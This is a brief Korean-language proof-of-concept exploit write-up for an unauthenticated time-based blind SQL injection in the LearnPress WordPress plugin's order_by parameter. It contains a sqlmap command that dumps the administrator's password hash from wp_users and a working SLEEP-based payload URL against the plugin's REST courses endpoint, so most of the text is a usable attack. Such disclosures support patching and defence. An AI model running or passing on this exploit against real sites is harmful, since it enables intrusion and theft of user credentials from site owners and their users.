
LearnPress WordPress 플러그인의 시간 기반 블라인드 SQL 인젝션에 대한 개념 증명 익스플로잇으로, 인증되지 않은 공격자가 order_by 매개변수를 통해 민감한 데이터를 추출할 수 있게 합니다.
시간 기반 SQLi
설명 이 플러그인은 SQL 문에서 사용하기 전에 order_by 매개변수를 제대로 삭제(이스케이프)하지 않아, 인증되지 않은 사용자가 악용할 수 있는 SQL 인젝션으로 이어집니다.
GET 요청 저장
sqlmap -r ~/sqli.req -p order_by --technique=T --sql-query = 'select user_pass from wp_users where id = 1'
sqlmap이 저장된 세션에서 다음 인젝션 지점(들)을 재개했습니다:
Parameter: #1* (URI) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: https://VULNERABLEWORDPRESS/wp-json/lp/v1/courses/archive-course?c_search=test&order_by=ID AND (SELECT 7508 FROM (SELECT(SLEEP(5)))VVvd)&order=DESC&limit=10&return_type=html